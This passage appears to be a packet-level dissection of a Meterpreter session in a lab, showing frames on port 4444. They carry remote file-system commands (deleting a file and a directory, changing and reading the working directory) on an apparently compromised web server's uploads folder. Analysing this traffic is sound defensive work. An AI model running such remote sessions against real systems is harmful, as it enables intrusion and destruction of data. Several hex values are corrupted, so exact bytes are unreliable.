   Command: 0x00000029 [Length]: 41
   Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
   Data: 393637303535353532373637393238313332373531333237... [Value] 96705555276792813275132711633391
Meterpreter protocol, TLV details
   Data: 0000000c00020032000000 [TLV]
   Command: 0x0000000c [Length]: 12
   Type: 0x00020032 [Type: Request]: TLV_TYPE_CHANNEL_ID
   Data: 00000001 [Value] ERROR
0000 08 00 27 6f 7a ae 08 00 27 d6 af 10 08 00 45 00
                                                       ..'oz...'....E.
0010 00 8c 2f 62 40 00 40 06 f4 fb 0a 00 01 05 0a 00
                                                       ../b@.@.....
0020 01 0a 11 5c d9 d2 14 78 2d c2 06 18 a8 cd 80 18
                                                       ...\...x-.....
0030 00 2d d0 fc 00 00 01 01 08 0a 00 0a 1f 92 00 0e
                                                       .-....
0040 78 73 00 00 00 58 00 00 00 00 00 00 00 1b 00 01
                                                       xs...X.....
0050 00 01 63 6f 72 65 5f 63 68 61 6e 6e 65 6c 5f 63
                                                       ..core_channel_c
0060 6c 6f 73 65 00 00 00 00 29 00 01 00 02 39 36 37
                                                       lose....)....967
0070 30 35 35 35 35 32 37 36 37 39 32 38 31 33 32 37
                                                       0555527679281327
0080 35 31 33 32 37 31 31 36 33 33 33 39 31 00 00 00
                                                       5132711633391...
```

....2....

0090 00 0c 00 02 00 32 00 00 00 01

```
Frame 46: 154 bytes on wire (1232 bits), 154 bytes captured (1232 bits)
Ethernet II, Src: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae), Dst: CadmusCo_d6:af:10 (08:00:27:d6:af:10)
Internet Protocol Version 4, Src: 10.0.1.10, Dst: 10.0.1.5
Transmission Control Protocol, Src Port: 55762 (55762), Dst Port: 4444 (4444), Seq: 2604, Ack: 1584, Len: 88
Meterpreter protocol, Command details here or in the tree below
   Command: 0x00000058 [Command length]: 88
   Type: 0x00000001 [Command type: Response]: 1
   Data: 0000001b00010001636f72655f6368616e6e656c5f636c6f... [Command payload]
Meterpreter protocol, TLV details
   Data: 0000001b00010001636f72655f6368616e6e656c5f636c6f... [TLV]
   Command: 0x0000001b [Length]: 27
   Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
   Data: 636f72655f6368616e6e656c5f636c6f736500 [Value] core_channel_close
Meterpreter protocol, TLV details
   Data: 000000290001000239363730353535353237363739323831... [TLV]
   Command: 0x00000029 [Length]: 41
   Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
   Data: 39363730353535353532373637393238313332373531333237... [Value] 96705555276792813275132711633391
Meterpreter protocol, TLV details
   Data: 0000000c00020004000000 [TLV]
   Command: 0x0000000c [Length]: 12
   Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
   Data: 00000000 [Value] OK
0000 08 00 27 d6 af 10 08 00 27 6f 7a ae 08 00 45 00
                                                        ..'....'oz...E.
0010 00 8c 0e bb 40 00 40 06 15 a3 0a 00 01 0a 0a 00
                                                        . . . . . @ . @ . . . . . . . . .
0020 01 05 d9 d2 11 5c 06 18 a8 cd 14 78 2e 1a 80 18
                                                        .....\....x....
0030 Oa fe 16 8d 00 00 01 01 08 0a 00 0e 78 8d 00 0a
                                                        .....x...
0040 1f 92 00 00 00 58 00 00 00 01 00 00 00 1b 00 01
                                                        ....X......
0050 00 01 63 6f 72 65 5f 63 68 61 6e 6e 65 6c 5f 63
                                                        ..core_channel_c
0060 6c 6f 73 65 00 00 00 00 29 00 01 00 02 39 36 37
                                                        lose....)....967
0070 30 35 35 35 35 32 37 36 37 39 32 38 31 33 32 37
                                                       0555527679281327
0080 35 31 33 32 37 31 31 36 33 33 33 39 31 00 00 00
                                                       5132711633391...
```

0090 00 0c 00 02 00 04 00 00 00 00

Frame 47: 66 bytes on wire (528 bits), 66 bytes captured (528 bits)

Ethernet II, Src: CadmusCo_d6:af:10 (08:00:27:d6:af:10), Dst: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae)

Internet Protocol Version 4, Src: 10.0.1.5, Dst: 10.0.1.10

Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 55762 (55762), Seq: 1584, Ack: 2692, Len: 0
0000 08 00 27 6f 7a ae 08 00 27 d6 af 10 08 00 45 00 ..'oz...'....E.
0010 00 34 2f 63 40 00 40 06 f5 52 0a 00 01 05 0a 00 .4/c@.@.R.....
0020 01 0a 11 5c d9 d2 14 78 2e 1a 06 18 a9 25 80 10 ...\...x....%..
0030 00 2d eb 4b 00 00 01 01 08 0a 00 0a 1f 92 00 0e .-.K......

0040 78 8d

```
Frame 48: 162 bytes on wire (1296 bits), 162 bytes captured (1296 bits)
Ethernet II, Src: CadmusCo_d6:af:10 (08:00:27:d6:af:10), Dst: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae)
Internet Protocol Version 4, Src: 10.0.1.5, Dst: 10.0.1.10
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 55762 (55762), Seq: 1584, Ack: 2692, Len: 96
Meterpreter protocol, Command details here or in the tree below
   Command: 0x00000060 [Command length]: 96
   Type: 0x00000000 [Command type: Request]: 0
   Data: 0000001e000100017374646170695f66735f64656c657465... [Command payload]
Meterpreter protocol, TLV details
   Data: 0000001e000100017374646170695f66735f64656c657465... [TLV]
   Command: 0x0000001e [Length]: 30
   Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
   Data: 7374646170695f66735f64656c6574655f66696c6500 [Value] stdapi_fs_delete_file
Meterpreter protocol, TLV details
   Data: 000000290001000237333634303533373030373535353237... [TLV]
   Command: 0x00000029 [Length]: 41
   Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
   Data: 3733363430353337303037353535323737313030373236... [Value] 73640537007555277100072669468803
Meterpreter protocol, TLV details
   Data: 00000011000104b2746573742e747874 [TLV]
   Command: 0x00000011 [Length]: 17
   Type: 0x000104b2 [Type: Request]: TLV_TYPE_FILE_PATH
   Data: 746573742e74787400 [Value] test.txt
0000 08 00 27 6f 7a ae 08 00 27 d6 af 10 08 00 45 00
                                                     ..'oz...'....E.
0010 00 94 2f 64 40 00 40 06 f4 f1 0a 00 01 05 0a 00
                                                     ../d@.@.....
...\...x....%..
0030 00 2d 93 f7 00 00 01 01 08 0a 00 0a 24 e7 00 0e
                                                     .-...$...
0040 78 8d 00 00 00 60 00 00 00 00 00 00 00 1e 00 01
0050 00 01 73 74 64 61 70 69 5f 66 73 5f 64 65 6c 65
                                                     ..stdapi_fs_dele
0060 74 65 5f 66 69 6c 65 00 00 00 00 29 00 01 00 02
                                                     te_file....)....
0070 37 33 36 34 30 35 33 37 30 30 37 35 35 35 32 37
                                                     7364053700755527
0080 37 31 30 30 30 37 32 36 36 39 34 36 38 38 30 33
                                                     7100072669468803
0090 00 00 00 00 11 00 01 04 b2 74 65 73 74 2e 74 78
                                                     ....test.tx
```

00a0 74 00

```
Frame 49: 157 bytes on wire (1256 bits), 157 bytes captured (1256 bits)
Ethernet II, Src: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae), Dst: CadmusCo_d6:af:10 (08:00:27:d6:af:10)
Internet Protocol Version 4, Src: 10.0.1.10, Dst: 10.0.1.5
Transmission Control Protocol, Src Port: 55762 (55762), Dst Port: 4444 (4444), Seq: 2692, Ack: 1680, Len: 91
Meterpreter protocol, Command details here or in the tree below
   Command: 0x0000005b [Command length]: 91
   Type: 0x00000001 [Command type: Response]: 1
   Data: 0000001e000100017374646170695f66735f64656c657465... [Command payload]
Meterpreter protocol, TLV details
   Data: 0000001e000100017374646170695f66735f64656c657465... [TLV]
   Command: 0x0000001e [Length]: 30
   Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
   Data: 7374646170695f66735f64656c6574655f66696c6500 [Value] stdapi_fs_delete_file
Meterpreter protocol, TLV details
   Data: 000000290001000237333634303533373030373535353237... [TLV]
   Command: 0x00000029 [Length]: 41
   Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
   Data: 3733363430353337303037353535323737313030373236... [Value] 73640537007555277100072669468803
Meterpreter protocol, TLV details
   Data: 0000000c00020004000000 [TLV]
   Command: 0x0000000c [Length]: 12
   Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
   Data: 00000000 [Value] OK
0000 08 00 27 d6 af 10 08 00 27 6f 7a ae 08 00 45 00
                                                       ..'....'oz...E.
0010 00 8f 0e bc 40 00 40 06 15 9f 0a 00 01 0a 0a 00
                                                       ....@.@......
0020 01 05 d9 d2 11 5c 06 18 a9 25 14 78 2e 7a 80 18
                                                       ....\...%.x.z..
0030 Oa fe 16 90 00 00 01 01 08 0a 00 0e 7d e2 00 0a
                                                       0040 24 e7 00 00 00 5b 00 00 00 01 00 00 00 1e 00 01
                                                      $....[......
0050 00 01 73 74 64 61 70 69 5f 66 73 5f 64 65 6c 65
                                                      ..stdapi_fs_dele
0060 74 65 5f 66 69 6c 65 00 00 00 00 29 00 01 00 02
                                                       te_file....)....
0070 37 33 36 34 30 35 33 37 30 30 37 35 35 35 32 37
                                                      7364053700755527
0080 37 31 30 30 30 37 32 36 36 39 34 36 38 38 30 33   7100072669468803
```

0090 00 00 00 00 0c 00 02 00 04 00 00 00 00

Frame 50: 66 bytes on wire (528 bits), 66 bytes captured (528 bits)

Ethernet II, Src: CadmusCo_d6:af:10 (08:00:27:d6:af:10), Dst: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae)

Internet Protocol Version 4, Src: 10.0.1.5, Dst: 10.0.1.10

Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 55762 (55762), Seq: 1680, Ack: 2783, Len: 0
0000 08 00 27 6f 7a ae 08 00 27 d6 af 10 08 00 45 00 ..'oz...'....E.
0010 00 34 2f 65 40 00 40 06 f5 50 0a 00 01 05 0a 00 .4/e@.@.P.....
0020 01 0a 11 5c d9 d2 14 78 2e 7a 06 18 a9 80 80 10 ...\.x.z.....
0030 00 2d df e6 00 00 01 01 08 0a 00 0a 24 e7 00 0e .-....\$...

0040 7d e2

```
Frame 51: 150 bytes on wire (1200 bits), 150 bytes captured (1200 bits)
Ethernet II, Src: CadmusCo_d6:af:10 (08:00:27:d6:af:10), Dst: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae)
Internet Protocol Version 4, Src: 10.0.1.5, Dst: 10.0.1.10
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 55762 (55762), Seq: 1680, Ack: 2783, Len: 84
Meterpreter protocol, Command details here or in the tree below
   Command: 0x00000054 [Command length]: 84
   Type: 0x00000000 [Command type: Request]: 0
   Data: 00000018000100017374646170695f66735f636864697200... [Command payload]
Meterpreter protocol, TLV details
   Data: 00000018000100017374646170695f66735f6368646972 [TLV]
   Command: 0x00000018 [Length]: 24
   Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
   Data: 7374646170695f66735f636864697200 [Value] stdapi_fs_chdir
Meterpreter protocol, TLV details
   Data: 000000290001000234333533343236303332333839393435... [TLV]
   Command: 0x00000029 [Length]: 41
   Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
   Data: 3433353343236303332333839393435393536373839... [Value] 43534260323899459595678941814988
Meterpreter protocol, TLV details
   Data: 0000000b000104b02e2e [TLV]
   Command: 0x0000000b [Length]: 11
   Type: 0x000104b0 [Type: Request]: TLV_TYPE_DIRECTORY_PATH
   Data: 2e2e00 [Value] ..
0000 08 00 27 6f 7a ae 08 00 27 d6 af 10 08 00 45 00
                                                       ..'oz...'....E.
0010 00 88 2f 66 40 00 40 06 f4 fb 0a 00 01 05 0a 00
                                                       ../f@.@.....
0020 01 0a 11 5c d9 d2 14 78 2e 7a 06 18 a9 80 80 18
                                                       ...\...x.z.....
0030 00 2d 3c f8 00 00 01 01 08 0a 00 0a 26 85 00 0e
                                                       .-<...........
0040 7d e2 00 00 00 54 00 00 00 00 00 00 00 18 00 01
                                                       }....T......
0050 00 01 73 74 64 61 70 69 5f 66 73 5f 63 68 64 69
                                                       ..stdapi_fs_chdi
0060 72 00 00 00 00 29 00 01 00 02 34 33 35 33 34 32
                                                      r....)....435342
0070 36 30 33 32 33 38 39 39 34 35 39 35 39 35 36 37
                                                       6032389945959567
0080 38 39 34 31 38 31 34 39 38 38 00 00 00 00 0b 00
                                                      8941814988.....
```

0090 01 04 b0 2e 2e 00

```
Frame 52: 151 bytes on wire (1208 bits), 151 bytes captured (1208 bits)
Ethernet II, Src: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae), Dst: CadmusCo_d6:af:10 (08:00:27:d6:af:10)
Internet Protocol Version 4, Src: 10.0.1.10, Dst: 10.0.1.5
Transmission Control Protocol, Src Port: 55762 (55762), Dst Port: 4444 (4444), Seq: 2783, Ack: 1764, Len: 85
Meterpreter protocol, Command details here or in the tree below
   Command: 0x00000055 [Command length]: 85
   Type: 0x00000001 [Command type: Response]: 1
   Data: 00000018000100017374646170695f66735f636864697200... [Command payload]
Meterpreter protocol, TLV details
   Data: 00000018000100017374646170695f66735f6368646972 [TLV]
   Command: 0x00000018 [Length]: 24
   Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
   Data: 7374646170695f66735f636864697200 [Value] stdapi_fs_chdir
Meterpreter protocol, TLV details
   Data: 000000290001000234333533343236303332333839393435... [TLV]
   Command: 0x00000029 [Length]: 41
   Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
   Data: 3433353343236303332333839393435393536373839... [Value] 43534260323899459595678941814988
Meterpreter protocol, TLV details
   Data: 0000000c00020004000000 [TLV]
   Command: 0x0000000c [Length]: 12
   Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
   Data: 00000000 [Value] OK
0000 08 00 27 d6 af 10 08 00 27 6f 7a ae 08 00 45 00
                                                      ..'....'oz...E.
0010 00 89 0e bd 40 00 40 06 15 a4 0a 00 01 0a 0a 00
                                                      ....@.@......
0020 01 05 d9 d2 11 5c 06 18 a9 80 14 78 2e ce 80 18
                                                      .....\....x....
. . . . . . . . . . . . . . . .
0040 26 85 00 00 00 55 00 00 00 01 00 00 00 18 00 01
                                                      &....U......
0050 00 01 73 74 64 61 70 69 5f 66 73 5f 63 68 64 69
                                                      ..stdapi_fs_chdi
0060 72 00 00 00 00 29 00 01 00 02 34 33 35 33 34 32
                                                     r....)....435342
0070 36 30 33 32 33 38 39 39 34 35 39 35 39 35 36 37
                                                      6032389945959567
0080 38 39 34 31 38 31 34 39 38 38 00 00 00 00 0c 00
                                                     8941814988.....
```

0090 02 00 04 00 00 00 00

Frame 53: 66 bytes on wire (528 bits), 66 bytes captured (528 bits)

Ethernet II, Src: CadmusCo_d6:af:10 (08:00:27:d6:af:10), Dst: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae)

Internet Protocol Version 4, Src: 10.0.1.5, Dst: 10.0.1.10

Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 55762 (55762), Seq: 1764, Ack: 2868, Len: 0
0000 08 00 27 6f 7a ae 08 00 27 d6 af 10 08 00 45 00 ..'oz...'....E.
0010 00 34 2f 67 40 00 40 06 f5 4e 0a 00 01 05 0a 00 .4/g@.@.N.....
0020 01 0a 11 5c d9 d2 14 78 2e ce 06 18 a9 d5 80 10 ...\...x......

. - & . . .

0030 00 2d dc 01 00 00 01 01 08 0a 00 0a 26 86 00 0e

0040 7f 7f

```
Frame 54: 157 bytes on wire (1256 bits), 157 bytes captured (1256 bits)
Ethernet II, Src: CadmusCo_d6:af:10 (08:00:27:d6:af:10), Dst: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae)
Internet Protocol Version 4, Src: 10.0.1.5, Dst: 10.0.1.10
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 55762 (55762), Seq: 1764, Ack: 2868, Len: 91
Meterpreter protocol, Command details here or in the tree below
   Command: 0x0000005b [Command length]: 91
   Type: 0x00000000 [Command type: Request]: 0
   Data: 0000001d000100017374646170695f66735f64656c657465... [Command payload]
Meterpreter protocol, TLV details
   Data: 0000001d000100017374646170695f66735f64656c657465... [TLV]
   Command: 0x0000001d [Length]: 29
   Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
   Data: 7374646170695f66735f64656c6574655f64697200 [Value] stdapi_fs_delete_dir
Meterpreter protocol, TLV details
   Data: 000000290001000238313432383037353137303638373339... [TLV]
   Command: 0x00000029 [Length]: 41
   Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
   Data: 383134323830373531373036383733393538363136393338... [Value] 81428075170687395861693854159992
Meterpreter protocol, TLV details
   Data: 000000d000104b074657374 [TLV]
   Command: 0x0000000d [Length]: 13
   Type: 0x000104b0 [Type: Request]: TLV_TYPE_DIRECTORY_PATH
   Data: 7465737400 [Value] test
0000 08 00 27 6f 7a ae 08 00 27 d6 af 10 08 00 45 00
                                                       ..'oz...'....E.
0010 00 8f 2f 68 40 00 40 06 f4 f2 0a 00 01 05 0a 00
                                                       ../h@.@.....
0020 01 0a 11 5c d9 d2 14 78 2e ce 06 18 a9 d5 80 18
                                                       ...\...x.....
0030 00 2d 3b f3 00 00 01 01 08 0a 00 0a 2d bd 00 0e
                                                       .-;.......
0040 7f 7f 00 00 00 5b 00 00 00 00 00 00 00 1d 00 01
                                                       .....[........
0050 00 01 73 74 64 61 70 69 5f 66 73 5f 64 65 6c 65
                                                       ..stdapi_fs_dele
0060 74 65 5f 64 69 72 00 00 00 00 29 00 01 00 02 38
                                                       te_dir....)....8
0070 31 34 32 38 30 37 35 31 37 30 36 38 37 33 39 35
                                                       1428075170687395
0080 38 36 31 36 39 33 38 35 34 31 35 39 39 39 32 00
                                                      861693854159992.
```

....test.

0090 00 00 00 0d 00 01 04 b0 74 65 73 74 00

```
Frame 55: 156 bytes on wire (1248 bits), 156 bytes captured (1248 bits)
Ethernet II, Src: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae), Dst: CadmusCo_d6:af:10 (08:00:27:d6:af:10)
Internet Protocol Version 4, Src: 10.0.1.10, Dst: 10.0.1.5
Transmission Control Protocol, Src Port: 55762 (55762), Dst Port: 4444 (4444), Seq: 2868, Ack: 1855, Len: 90
Meterpreter protocol, Command details here or in the tree below
   Command: 0x0000005a [Command length]: 90
   Type: 0x00000001 [Command type: Response]: 1
   Data: 0000001d000100017374646170695f66735f64656c657465... [Command payload]
Meterpreter protocol, TLV details
   Data: 0000001d000100017374646170695f66735f64656c657465... [TLV]
   Command: 0x0000001d [Length]: 29
   Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
   Data: 7374646170695f66735f64656c6574655f64697200 [Value] stdapi_fs_delete_dir
Meterpreter protocol, TLV details
   Data: 000000290001000238313432383037353137303638373339... [TLV]
   Command: 0x00000029 [Length]: 41
   Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
   Data: 383134323830373531373036383733393538363136393338... [Value] 81428075170687395861693854159992
Meterpreter protocol, TLV details
   Data: 0000000c00020004000000 [TLV]
   Command: 0x0000000c [Length]: 12
   Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
   Data: 00000000 [Value] OK
0000 08 00 27 d6 af 10 08 00 27 6f 7a ae 08 00 45 00
                                                       ..'....'oz...E.
0010 00 8e 0e be 40 00 40 06 15 9e 0a 00 01 0a 0a 00
                                                       ....@.@......
0020 01 05 d9 d2 11 5c 06 18 a9 d5 14 78 2f 29 80 18
                                                       .....\....x/)..
0030 Oa fe 16 8f 00 00 01 01 08 0a 00 0e 86 b6 00 0a
                                                       0040 2d bd 00 00 00 5a 00 00 00 01 00 00 00 1d 00 01
                                                       -....Z.......
0050 00 01 73 74 64 61 70 69 5f 66 73 5f 64 65 6c 65
                                                       ..stdapi_fs_dele
0060 74 65 5f 64 69 72 00 00 00 00 29 00 01 00 02 38
                                                       te_dir....)....8
0070 31 34 32 38 30 37 35 31 37 30 36 38 37 33 39 35
                                                      1428075170687395
0080 38 36 31 36 39 33 38 35 34 31 35 39 39 39 32 00   861693854159992.
```

0090 00 00 00 0c 00 02 00 04 00 00 00 00

Frame 56: 66 bytes on wire (528 bits), 66 bytes captured (528 bits)

Ethernet II, Src: CadmusCo_d6:af:10 (08:00:27:d6:af:10), Dst: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae)

Internet Protocol Version 4, Src: 10.0.1.5, Dst: 10.0.1.10

Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 55762 (55762), Seq: 1855, Ack: 2958, Len: 0
0000 08 00 27 6f 7a ae 08 00 27 d6 af 10 08 00 45 00 ..'oz...'....E.
0010 00 34 2f 69 40 00 40 06 f5 4c 0a 00 01 05 0a 00 .4/i@.@..L.....
0020 01 0a 11 5c d9 d2 14 78 2f 29 06 18 aa 2f 80 10 ...\...x/).../.

.-...

0030 00 2d cc de 00 00 01 01 08 0a 00 0a 2d bd 00 0e

0040 86 b6

```
Frame 57: 157 bytes on wire (1256 bits), 157 bytes captured (1256 bits)
Ethernet II, Src: CadmusCo_d6:af:10 (08:00:27:d6:af:10), Dst: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae)
Internet Protocol Version 4, Src: 10.0.1.5, Dst: 10.0.1.10
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 55762 (55762), Seq: 1855, Ack: 2958, Len: 91
Meterpreter protocol, Command details here or in the tree below
   Command: 0x0000005b [Command length]: 91
   Type: 0x00000000 [Command type: Request]: 0
   Data: 0000001d000100017374646170695f66735f64656c657465... [Command payload]
Meterpreter protocol, TLV details
   Data: 0000001d000100017374646170695f66735f64656c657465... [TLV]
   Command: 0x0000001d [Length]: 29
   Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
   Data: 7374646170695f66735f64656c6574655f64697200 [Value] stdapi_fs_delete_dir
Meterpreter protocol, TLV details
   Data: 000000290001000238313338333032383632303930383937... [TLV]
   Command: 0x00000029 [Length]: 41
   Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
   Data: 38313383330323836323039303839373634313533343839... [Value] 81383028620908976415348978875191
Meterpreter protocol, TLV details
   Data: 000000d000104b074657374 [TLV]
   Command: 0x0000000d [Length]: 13
   Type: 0x000104b0 [Type: Request]: TLV_TYPE_DIRECTORY_PATH
   Data: 7465737400 [Value] test
0000 08 00 27 6f 7a ae 08 00 27 d6 af 10 08 00 45 00
                                                       ..'oz...'....E.
0010 00 8f 2f 6a 40 00 40 06 f4 f0 0a 00 01 05 0a 00
                                                       ../j@.@.....
0020 01 0a 11 5c d9 d2 14 78 2f 29 06 18 aa 2f 80 18
                                                       ...\...x/).../..
0030 00 2d 31 7b 00 00 01 01 08 0a 00 0a 31 4e 00 0e
                                                       .-1{.....1N..
0040 86 b6 00 00 00 5b 00 00 00 00 00 00 00 1d 00 01
                                                       .....[........
0050 00 01 73 74 64 61 70 69 5f 66 73 5f 64 65 6c 65
                                                       ..stdapi_fs_dele
0060 74 65 5f 64 69 72 00 00 00 00 29 00 01 00 02 38
                                                       te_dir....)....8
0070 31 33 38 33 30 32 38 36 32 30 39 30 38 39 37 36
                                                       1383028620908976
0080 34 31 35 33 34 38 39 37 38 38 37 35 31 39 31 00
                                                      415348978875191.
```

.....test.

0090 00 00 00 0d 00 01 04 b0 74 65 73 74 00

```
Frame 58: 156 bytes on wire (1248 bits), 156 bytes captured (1248 bits)
Ethernet II, Src: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae), Dst: CadmusCo_d6:af:10 (08:00:27:d6:af:10)
Internet Protocol Version 4, Src: 10.0.1.10, Dst: 10.0.1.5
Transmission Control Protocol, Src Port: 55762 (55762), Dst Port: 4444 (4444), Seq: 2958, Ack: 1946, Len: 90
Meterpreter protocol, Command details here or in the tree below
   Command: 0x0000005a [Command length]: 90
   Type: 0x00000001 [Command type: Response]: 1
   Data: 0000001d000100017374646170695f66735f64656c657465... [Command payload]
Meterpreter protocol, TLV details
   Data: 0000001d000100017374646170695f66735f64656c657465... [TLV]
   Command: 0x0000001d [Length]: 29
   Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
   Data: 7374646170695f66735f64656c6574655f64697200 [Value] stdapi_fs_delete_dir
Meterpreter protocol, TLV details
   Data: 000000290001000238313338333032383632303930383937... [TLV]
   Command: 0x00000029 [Length]: 41
   Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
   Data: 38313383330323836323039303839373634313533343839... [Value] 81383028620908976415348978875191
Meterpreter protocol, TLV details
   Data: 0000000c00020004000000 [TLV]
   Command: 0x0000000c [Length]: 12
   Type: 0x00020004 [Type: Response]: TLV_TYPE_RESULT
   Data: 00000001 [Value] ERROR
0000 08 00 27 d6 af 10 08 00 27 6f 7a ae 08 00 45 00
                                                       ..'....'oz...E.
0010 00 8e 0e bf 40 00 40 06 15 9d 0a 00 01 0a 0a 00
                                                       ....@.@......
0020 01 05 d9 d2 11 5c 06 18 aa 2f 14 78 2f 84 80 18
                                                       ....\.../.x/...
0030 Oa fe 16 8f 00 00 01 01 08 0a 00 0e 8a 47 00 0a
                                                       0040 31 4e 00 00 00 5a 00 00 00 01 00 00 00 1d 00 01
                                                       1N...Z.....
0050 00 01 73 74 64 61 70 69 5f 66 73 5f 64 65 6c 65
                                                       ..stdapi_fs_dele
0060 74 65 5f 64 69 72 00 00 00 00 29 00 01 00 02 38
                                                       te_dir....)....8
0070 31 33 38 33 30 32 38 36 32 30 39 30 38 39 37 36
                                                      1383028620908976
0080 34 31 35 33 34 38 39 37 38 38 37 35 31 39 31 00
                                                      415348978875191.
```

0090 00 00 00 0c 00 02 00 04 00 00 00 01

Frame 59: 66 bytes on wire (528 bits), 66 bytes captured (528 bits)

Ethernet II, Src: CadmusCo_d6:af:10 (08:00:27:d6:af:10), Dst: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae)

Internet Protocol Version 4, Src: 10.0.1.5, Dst: 10.0.1.10

Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 55762 (55762), Seq: 1946, Ack: 3048, Len: 0

0000 08 00 27 6f 7a ae 08 00 27 d6 af 10 08 00 45 00 ...oz...'....E.

0010 00 34 2f 6b 40 00 40 06 f5 4a 0a 00 01 05 0a 00 .4/k@.@.J.....

0020 01 0a 11 5c d9 d2 14 78 2f 84 06 18 aa 89 80 10 ...\...x/.....

.G

.-....10..

0030 00 2d c5 06 00 00 01 01 08 0a 00 0a 31 4f 00 0e

0040 8a 47

```
Frame 60: 139 bytes on wire (1112 bits), 139 bytes captured (1112 bits)
Ethernet II, Src: CadmusCo_d6:af:10 (08:00:27:d6:af:10), Dst: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae)
Internet Protocol Version 4, Src: 10.0.1.5, Dst: 10.0.1.10
Transmission Control Protocol, Src Port: 4444 (4444), Dst Port: 55762 (55762), Seq: 1946, Ack: 3048, Len: 73
Meterpreter protocol, Command details here or in the tree below
   Command: 0x00000049 [Command length]: 73
   Type: 0x00000000 [Command type: Request]: 0
   Data: 00000018000100017374646170695f66735f676574776400... [Command payload]
Meterpreter protocol, TLV details
   Data: 00000018000100017374646170695f66735f6765747764 [TLV]
   Command: 0x00000018 [Length]: 24
   Type: 0x00010001 [Type: Request]: TLV_TYPE_METHOD
   Data: 7374646170695f66735f676574776400 [Value] stdapi_fs_getwd
Meterpreter protocol, TLV details
   Data: 000000290001000238303034373233303731393535343630... [TLV]
   Command: 0x00000029 [Length]: 41
   Type: 0x00010002 [Type: Request]: TLV_TYPE_REQUEST_ID
   Data: 383030343732333037313935353436303530383738343434... [Value] 80047230719554605087844489146196
0000 08 00 27 6f 7a ae 08 00 27 d6 af 10 08 00 45 00
                                                     ..'oz...'....E.
0010 00 7d 2f 6c 40 00 40 06 f5 00 0a 00 01 05 0a 00
                                                      .}/1@.@.....
...\...x/.....
0030 00 2d f8 a4 00 00 01 01 08 0a 00 0a 40 b8 00 0e
                                                      . - . . . . . . . . . . . . . . @ . . .
0040 8a 47 00 00 00 49 00 00 00 00 00 00 00 18 00 01
                                                      .G...I......
0050 00 01 73 74 64 61 70 69 5f 66 73 5f 67 65 74 77
                                                      ..stdapi_fs_getw
0060 64 00 00 00 00 29 00 01 00 02 38 30 30 34 37 32
                                                      d....)....800472
0070 33 30 37 31 39 35 35 34 36 30 35 30 38 37 38 34
                                                      3071955460508784
0080 34 34 38 39 31 34 36 31 39 36 00
                                                      4489146196.
```

```
Frame 61: 190 bytes on wire (1520 bits), 190 bytes captured (1520 bits)
Ethernet II, Src: CadmusCo_6f:7a:ae (08:00:27:6f:7a:ae), Dst: CadmusCo_d6:af:10 (08:00:27:d6:af:10)
Internet Protocol Version 4, Src: 10.0.1.10, Dst: 10.0.1.5
Transmission Control Protocol, Src Port: 55762 (55762), Dst Port: 4444 (4444), Seq: 3048, Ack: 2019, Len: 124
Meterpreter protocol, Command details here or in the tree below
   Command: 0x0000007c [Command length]: 124
   Type: 0x00000001 [Command type: Response]: 1
   Data: 00000018000100017374646170695f66735f676574776400... [Command payload]
Meterpreter protocol, TLV details
   Data: 00000018000100017374646170695f66735f6765747764 [TLV]
   Command: 0x00000018 [Length]: 24
   Type: 0x00010001 [Type: Response]: TLV_TYPE_METHOD
   Data: 7374646170695f66735f676574776400 [Value] stdapi_fs_getwd
Meterpreter protocol, TLV details
   Data: 000000290001000238303034373233303731393535343630... [TLV]
   Command: 0x00000029 [Length]: 41
   Type: 0x00010002 [Type: Response]: TLV_TYPE_REQUEST_ID
   Data: 383030343732333037313935353436303530383738343434... [Value] 80047230719554605087844489146196
Meterpreter protocol, TLV details
   Data: 00000027000104b02f7661722f7777772f68746d6c2f6861... [TLV]
   Command: 0x00000027 [Length]: 39
   Type: 0x000104b0 [Type: Response]: TLV_TYPE_DIRECTORY_PATH
   Data: 2f7661722f7777772f68746d6c2f6861636b61626c652f75... [Value] /var/www/html/hackable/uploads
